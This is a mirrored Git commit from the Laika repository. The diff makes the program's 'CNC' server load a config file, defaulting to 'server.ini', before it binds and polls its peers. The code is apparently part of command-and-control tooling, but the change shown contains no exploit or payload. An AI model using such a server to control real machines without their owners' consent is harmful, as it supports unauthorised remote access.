1
0
mirror of https://github.com/CPunch/Laika.git synced 2024-11-22 04:50:06 +00:00

Require CNC to load a config, by default it loads 'server.ini'

This commit is contained in:
CPunch 2022-04-06 12:14:09 -05:00
parent 9084afa738
commit c0828a77c6

View File

@ -43,16 +43,21 @@ bool loadConfig(struct sLaika_cnc *cnc, char *config) {
int main(int argv, char *argc[]) { int main(int argv, char *argc[]) {
struct sLaika_cnc *cnc; struct sLaika_cnc *cnc;
char *configFile = "server.ini";
printf("Laika v" MACROLITSTR(LAIKA_VERSION_MAJOR) "." MACROLITSTR(LAIKA_VERSION_MINOR) "-" LAIKA_VERSION_COMMIT "\n"); printf("Laika v" MACROLITSTR(LAIKA_VERSION_MAJOR) "." MACROLITSTR(LAIKA_VERSION_MINOR) "-" LAIKA_VERSION_COMMIT "\n");
cnc = laikaC_newCNC(atoi(LAIKA_CNC_PORT)); cnc = laikaC_newCNC(atoi(LAIKA_CNC_PORT));
/* load config file */ /* load config file */
if (argv >= 2 && !loadConfig(cnc, argc[1])) if (argv >= 2)
configFile = argc[1];
if (!loadConfig(cnc, configFile))
return 1; return 1;
laikaT_initTaskService(&tService); laikaT_initTaskService(&tService);
/* start cnc */
laikaC_bindServer(cnc); laikaC_bindServer(cnc);
while (true) { while (true) {
laikaC_pollPeers(cnc, laikaT_timeTillTask(&tService)); laikaC_pollPeers(cnc, laikaT_timeTillTask(&tService));